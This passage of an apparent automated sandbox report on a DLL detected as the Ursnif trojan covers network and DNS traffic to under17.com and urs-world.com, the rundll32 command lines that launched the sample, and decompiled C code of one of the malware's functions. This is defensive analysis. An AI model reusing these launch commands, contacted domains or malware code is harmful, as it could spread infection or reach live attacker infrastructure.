Apr 4, 2021 16:03:02.479878902 CEST	49740	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:02.480045080 CEST	49741	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:06.483316898 CEST	49742	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:06.494213104 CEST	49743	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:07.495959044 CEST	49742	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:07.496607065 CEST	49743	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:09.496011972 CEST	49742	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:09.496310949 CEST	49743	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:22.501657009 CEST	49746	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:22.501848936 CEST	49747	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:23.512873888 CEST	49746	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:23.515295029 CEST	49747	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:25.513046026 CEST	49747	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:25.513051987 CEST	49746	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:29.515301943 CEST	49748	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:30.529185057 CEST	49748	80	192.168.2.3	185.243.114.196
Apr 4, 2021 16:03:32.529217005 CEST	49748	80	192.168.2.3	185.243.114.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 4, 2021 16:01:29.192274094 CEST	53	56777	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:29.292031050 CEST	58643	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:29.337946892 CEST	53	58643	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:29.747749090 CEST	60985	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:29.793891907 CEST	53	60985	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:30.666222095 CEST	50200	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:30.712429047 CEST	53	50200	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:31.196697950 CEST	51281	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:31.255738974 CEST	53	51281	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:31.636764050 CEST	49199	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:31.685570955 CEST	53	49199	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:32.762422085 CEST	50620	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:32.808121920 CEST	53	50620	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:33.871625900 CEST	64938	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:33.920531034 CEST	53	64938	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:34.958431959 CEST	60152	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:35.004554033 CEST	53	60152	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:36.210057974 CEST	57544	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:36.255853891 CEST	53	57544	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:37.136605978 CEST	55984	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:37.185584068 CEST	53	55984	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:39.663137913 CEST	64185	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:39.719099998 CEST	53	64185	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:40.729192972 CEST	65110	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:40.775521994 CEST	53	65110	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:43.202373981 CEST	58361	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:43.248347044 CEST	53	58361	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:44.126502037 CEST	63492	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:44.172966957 CEST	53	63492	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:45.104238033 CEST	60831	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:45.152867079 CEST	53	60831	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:46.448421955 CEST	60100	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:46.494363070 CEST	53	60100	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:47.635816097 CEST	53195	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:47.684720993 CEST	53	53195	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:50.150437117 CEST	50141	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:50.199322939 CEST	53	50141	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:51.571532965 CEST	53023	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:51.621706963 CEST	53	53023	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:54.223737001 CEST	49563	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:54.271368027 CEST	53	49563	8.8.8.8	192.168.2.3
Apr 4, 2021 16:01:55.819143057 CEST	51352	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:01:55.870121956 CEST	53	51352	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:07.001782894 CEST	59349	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:07.048764944 CEST	53	59349	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:08.127355099 CEST	57084	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:08.184216022 CEST	53	57084	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:14.264333010 CEST	58823	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:14.323115110 CEST	53	58823	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:15.604446888 CEST	57568	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:15.650408983 CEST	53	57568	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:15.908189058 CEST	50540	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:15.971019983 CEST	53	50540	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:16.745093107 CEST	54366	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:16.810791969 CEST	53	54366	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:16.833503008 CEST	53034	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:16.889317989 CEST	53	53034	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:24.069542885 CEST	57762	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:24.125868082 CEST	53	57762	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:24.321078062 CEST	55435	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:24.377450943 CEST	53	55435	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:41.267534971 CEST	50713	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:41.337872982 CEST	53	50713	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:44.255714893 CEST	56132	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:44.313371897 CEST	53	56132	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:45.087198973 CEST	58987	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:45.143136024 CEST	53	58987	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:45.260962009 CEST	56132	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:45.318176031 CEST	53	56132	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:46.278135061 CEST	56132	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:46.332463026 CEST	53	56132	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:48.296119928 CEST	56132	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:48.342212915 CEST	53	56132	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:52.307667971 CEST	56132	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:52.353586912 CEST	53	56132	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:58.208182096 CEST	56579	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:58.265595913 CEST	53	56579	8.8.8.8	192.168.2.3
Apr 4, 2021 16:02:59.356476068 CEST	60633	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:02:59.427100897 CEST	53	60633	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:00.917805910 CEST	61292	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:00.994412899 CEST	53	61292	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:01.006427050 CEST	63619	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:01.076920986 CEST	53	63619	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:01.090979099 CEST	64938	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:01.148236990 CEST	53	64938	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:13.504370928 CEST	61946	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:13.558461905 CEST	53	61946	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:16.223839998 CEST	64910	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:16.269764900 CEST	53	64910	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:18.317326069 CEST	52123	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:18.372534037 CEST	53	52123	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:22.195393085 CEST	56130	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:22.254736900 CEST	53	56130	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:22.423198938 CEST	56338	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:22.495955944 CEST	53	56338	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:34.874150038 CEST	59420	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:34.940380096 CEST	53	59420	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:36.207482100 CEST	58784	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:36.284539938 CEST	53	58784	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:36.534543037 CEST	63978	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:36.588948965 CEST	53	63978	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:37.541872025 CEST	62938	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:37.596290112 CEST	53	62938	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:48.909156084 CEST	55708	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:48.956666946 CEST	53	55708	8.8.8.8	192.168.2.3
Apr 4, 2021 16:03:49.263142109 CEST	56803	53	192.168.2.3	8.8.8.8
Apr 4, 2021 16:03:49.309182882 CEST	53	56803	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 4, 2021 16:02:16.745093107 CEST	192.168.2.3	8.8.8.8	0xcb5d	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)
Apr 4, 2021 16:02:59.356476068 CEST	192.168.2.3	8.8.8.8	0xa95d	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:13.504370928 CEST	192.168.2.3	8.8.8.8	0x553f	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:22.423198938 CEST	192.168.2.3	8.8.8.8	0x9218	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:34.874150038 CEST	192.168.2.3	8.8.8.8	0xb6e2	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:36.207482100 CEST	192.168.2.3	8.8.8.8	0xf877	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:36.534543037 CEST	192.168.2.3	8.8.8.8	0xcc01	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:37.541872025 CEST	192.168.2.3	8.8.8.8	0xbafd	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:48.909156084 CEST	192.168.2.3	8.8.8.8	0x160c	Standard query (0)	resolver1.opendns.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 4, 2021 16:02:16.810791969 CEST	8.8.8.8	192.168.2.3	0xcb5d	No error (0)	login.microsoftonline.com	a.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 4, 2021 16:02:16.810791969 CEST	8.8.8.8	192.168.2.3	0xcb5d	No error (0)	a.privatelink.msidentity.com	prda.aadg.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 4, 2021 16:02:16.810791969 CEST	8.8.8.8	192.168.2.3	0xcb5d	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 4, 2021 16:02:16.889317989 CEST	8.8.8.8	192.168.2.3	0xa217	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)
Apr 4, 2021 16:02:59.427100897 CEST	8.8.8.8	192.168.2.3	0xa95d	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:13.558461905 CEST	8.8.8.8	192.168.2.3	0x553f	Server failure (2)	under17.com	none	none	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:22.495955944 CEST	8.8.8.8	192.168.2.3	0x9218	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:34.940380096 CEST	8.8.8.8	192.168.2.3	0xb6e2	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:36.284539938 CEST	8.8.8.8	192.168.2.3	0xf877	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:36.588948965 CEST	8.8.8.8	192.168.2.3	0xcc01	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:37.596290112 CEST	8.8.8.8	192.168.2.3	0xbafd	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 4, 2021 16:03:48.956666946 CEST	8.8.8.8	192.168.2.3	0x160c	No error (0)	resolver1.opendns.com		208.67.222.222	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6104 Parent PID: 5828

General

Start time:	16:01:35
Start date:	04/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll'
Imagebase:	0x130000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.283968924.0000000003138000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.283941629.0000000003138000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.283743972.0000000003138000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.283981792.0000000003138000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000001.00000002.462142613.00000000009C0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.283911802.0000000003138000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.283659543.0000000003138000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.283820403.0000000003138000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.327016038.0000000002FBB000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.406489118.0000000002EBD000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.283873534.0000000003138000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 4832 Parent PID: 6104

General

Start time:	16:01:35
Start date:	04/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll',#1
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5076 Parent PID: 6104

General

Start time:	16:01:36
Start date:	04/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\swlsGbeQwT.dll,StartService
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000002.228615251.0000000001180000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 3512 Parent PID: 4832

General

Start time:	16:01:36
Start date:	04/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll',#1
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.332207803.0000000005AE8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.332108826.0000000005AE8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.332246641.0000000005AE8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.332181859.0000000005AE8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000005.00000002.463340848.0000000003570000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.332262549.0000000005AE8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.332227355.0000000005AE8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.332279933.0000000005AE8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.332152085.0000000005AE8000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6320 Parent PID: 792

General

Start time:	16:02:12
Start date:	04/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff6f22e0000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6392 Parent PID: 6320

General

Start time:	16:02:13
Start date:	04/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6320 CREDAT:17410 /prefetch:2
Imagebase:	0xd0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5316 Parent PID: 792

General

Start time:	16:02:56
Start date:	04/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff6f22e0000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5340 Parent PID: 5316

General

Start time:	16:02:57
Start date:	04/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5316 CREDAT:17410 /prefetch:2
Imagebase:	0x10c0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5736 Parent PID: 5316

General

Start time:	16:02:59
Start date:	04/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5316 CREDAT:17416 /prefetch:2
Imagebase:	0x10c0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 6104 Parent PID: 5828 loaddll32.exeCOMMON

Executed Functions

Function 00A112D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A112D4(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0xa1d278; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0xa1d238, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0xa1d278; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0xa1d238, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0xa1d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0xa1d278; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0xa1d27c; // 0x271a5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0xa1e7f2; // 0x73797325
				_t83 = E00A195B1(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0xa1d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0xa1d27c; // 0x271a5a8
				_t16 = _t93 + 0xa1e813; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x00a112dd
0x00a112e3
0x00a112e5
0x00a112ff
0x00a11303
0x00a11306
0x00a1157b
0x00a11582
0x00a11582
0x00a1130c
0x00a11321
0x00a11323
0x00a11327
0x00a1132a
0x00a1156b
0x00a11575
0x00000000
0x00a11575
0x00a11330
0x00a1133b
0x00a11340
0x00a11345
0x00a11348
0x00a1134f
0x00a11356
0x00a11359
0x00a1155b
0x00a11565
0x00000000
0x00a11565
0x00a1136f
0x00a11373
0x00a11376
0x00a11379
0x00a11381
0x00a11384
0x00a1138d
0x00a11393
0x00a1139d
0x00a113a4
0x00a113a4
0x00a113b6
0x00a113c1
0x00a113cf
0x00a113d4
0x00a113d9
0x00a113dc
0x00a113e1
0x00a113eb
0x00a113ee
0x00a113f1
0x00a11407
0x00a1140b
0x00a1140e
0x00a11559
0x00000000
0x00a11559
0x00a11425
0x00a11476
0x00a11439
0x00a11441
0x00a11446
0x00a11454
0x00a1145d
0x00a11466
0x00a11466
0x00a11474
0x00a11474
0x00a1147a
0x00a1147e
0x00a1147e
0x00a11484
0x00000000
0x00000000
0x00a11486
0x00a1148c
0x00a11533
0x00a11536
0x00a11543
0x00a11543
0x00a11547
0x00000000
0x00000000
0x00a1153c
0x00a11540
0x00a11540
0x00a11542
0x00a11542
0x00a1154c
0x00a11553
0x00a11555
0x00000000
0x00a11555
0x00a11492
0x00a11494
0x00a11494
0x00a114a7
0x00a114ad
0x00a114b8
0x00a114ba
0x00a114be
0x00a114c0
0x00a114c0
0x00a114c5
0x00a114c7
0x00a114c7
0x00a114c5
0x00a114cc
0x00a114d0
0x00a114d0
0x00a114e0
0x00a114e5
0x00a114e8
0x00a114e8
0x00a114eb
0x00a114f5
0x00a114fd
0x00a11502
0x00a11510
0x00a11510
0x00a11524
0x00a11528
0x00a11528

APIs

